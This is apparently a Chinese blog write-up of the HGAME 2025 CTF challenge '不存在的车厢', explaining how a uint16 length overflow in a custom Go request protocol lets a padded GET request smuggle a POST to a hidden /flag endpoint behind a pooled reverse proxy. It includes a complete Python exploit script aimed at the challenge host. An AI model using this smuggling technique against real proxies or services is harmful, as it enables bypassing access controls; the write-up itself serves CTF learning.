不存在的车厢复现

2025 hgame-不存在的车厢复现

官方WP思路如下:

image-20250219131123627

题目给了源码,分析代码可得

image-20250219131301665

开放的是8081端口

image-20250219131343825

flag在8080端口

当我们用GET方式访问,会得到Welcome to HGAME 2025响应,用POST的话,代理会直接拒绝,做题时,想到了用走私通过8081端口走私8080拿到flag,但是看不明白request.go,没想到整数溢出,这道题确实受益匪浅

分析request.go

写入函数分析

这段 Go 代码实现了一个自定义的 H111 请求协议,能够序列化(写入)和反序列化(读取)http.Request。它包含两个核心函数:

  1. ReadH111Request(reader io.Reader) (*http.Request, error)
    从二进制流读取数据,并构造 HTTP 请求
  2. WriteH111Request(writer io.Writer, req *http.Request) error
    将 HTTP 请求序列化为二进制数据流

WriteH111Request() 里,数据长度是这样写入的:

binary.Write(writer, binary.BigEndian, uint16(len(methodBytes)))

如果 methodBytes 长度 意外超过 65535,例如:

methodBytes := make([]byte, 65536) // 长度 = 65536
binary.Write(writer, binary.BigEndian, uint16(len(methodBytes))) 

举个例子给你们看

package main

import "fmt"

func main() {
	var num1 int = 65536
	var num2 int = 65537
	var num3 int = 65538
	var num4 int = 131072

	fmt.Println("uint16(65536):", uint16(num1))  // 65536 溢出,变成 0
	fmt.Println("uint16(65537):", uint16(num2))  // 65537 溢出,变成 1
	fmt.Println("uint16(65538):", uint16(num3))  // 65538 溢出,变成 2
	fmt.Println("uint16(131072):", uint16(num4)) // 131072 溢出,变成 0
}

输出就是
image-20250219140558300

读取函数分析

ReadH111Request() 里,数据是按 Len+Data 方式解析的:

var methodLength uint16
binary.Read(reader, binary.BigEndian, &methodLength)

method := make([]byte, int(methodLength))
_, err := io.ReadFull(reader, method)

如果 methodLength == 0x0000(因为 65536 溢出到 0),则:

  • make([]byte, 0) 创建的是空数组。
  • io.ReadFull(reader, method) 直接跳过 method 的读取。
  • 方法字段的数据仍然存在流中,但没有被解析,导致后续数据错位,从而保留我们的POST请求!

bodyLength == 0,但实际 65519 个字节仍然在 TCP 流里。

分析main.go

处理客户端连接使用了无限for循环

for {
	conn, err := listener.Accept()
	if err != nil {
		log.Println(err)
		continue
	}
	go serverH111(conn)
}

func serverH111(conn net.Conn) {
	defer conn.Close()
	for {
		req, err := h111.ReadH111Request(conn)
		if err != nil {
			log.Println(err)
			return
		}
		recorder := httptest.NewRecorder()
		mux.ServeHTTP(recorder, req)
		resp := recorder.Result()
		log.Printf("Received request %s %s, response status code %d", req.Method, req.URL.Path, resp.StatusCode)
		err = h111.WriteH111Response(conn, resp)
		if err != nil {
			log.Println(err)
			return
		}
	}
}

for {} 无限循环,不断接受新的连接。

分析反向代理main.go

func main() {
	pool = sync.Pool{
		New: func() interface{} {
			for {
				conn, err := net.Dial("tcp", "127.0.0.1:8080")
				if err != nil {
					fmt.Println("error dialing to backend server")
					time.Sleep(time.Millisecond * 300)
					continue
				}
				return conn
			}
		},
	}
	http.ListenAndServe(":8081", &proxyHandler{})
}

sync.Pool{ New: func() { ... } }

  • 定义了连接池的 New 函数:当连接池为空时,会创建一个新的 TCP 连接

使用 sync.Pool 作为连接池,优化 TCP 连接复用,我们可以利用这一点

实施攻击

根据上面的分析,我们的攻击思路就是通过构造一个长度等于65536的GET请求,通过溢出归0,走私我们的POST请求

官方WP是用的yakit发包,我用到yakit比较少,写了个脚本

image-20250219151908490

脚本:

import socket
import struct

def build_h111_request():
    method = b'POST'
    uri = b'/flag'
    headers = {}  # 无请求头
    body = b''    # 空请求体

    data = b''
    # 方法部分
    data += struct.pack('>H', len(method))  # 方法长度(大端序2字节)
    data += method                          # 方法内容
    # URI部分
    data += struct.pack('>H', len(uri))     # URI长度
    data += uri                             # URI内容
    # 请求头部分
    data += struct.pack('>H', len(headers)) # 请求头数量
    for key, values in headers.items():     # 遍历每个请求头(此处无)
        key_bytes = key.encode()
        data += struct.pack('>H', len(key_bytes))
        data += key_bytes
        for value in values:
            value_bytes = value.encode()
            data += struct.pack('>H', len(value_bytes))
            data += value_bytes
    # 请求体部分
    data += struct.pack('>H', len(body))    # 请求体长度
    data += body                            # 请求体内容

    return data

h111_request = build_h111_request()  # 返回字节串
print(h111_request)

length1 = len(h111_request)
length2 = 65536 - length1
h111_request = h111_request + length2 * b'0'  # 使用字节而不是字符
print(len(h111_request))

def build_http_request(full_body):
    """
    构造最终的 HTTP 请求
    """
    request_line = b"GET /flag HTTP/1.1\r\n"
    headers = (
        b"Host: node1.hgame.vidar.club:31772\r\n" +
        b"Content-Length: " + str(len(full_body)).encode() + b"\r\n" +
        b"\r\n"
    )
    if isinstance(full_body, str):
        full_body = full_body.encode()  # 如果是字符串类型,转换为字节串
    http_request = request_line + headers + full_body
    return http_request

http_request = build_http_request(h111_request)
print(http_request)

host = "node1.hgame.vidar.club"
port = 31772

with socket.create_connection((host, port)) as s:
    s.sendall(http_request)
    response = b""
    s.settimeout(5)  # 设置更长的超时时间
    while True:
        try:
            data = s.recv(4096)
            if not data:
                break
            response += data
        except socket.timeout:
            print("Connection timed out!")
            break
    print(response.decode())

image-20250219201613565

posted @ 2025-02-19 20:54  Z3r00  阅读(31)  评论(0)    收藏  举报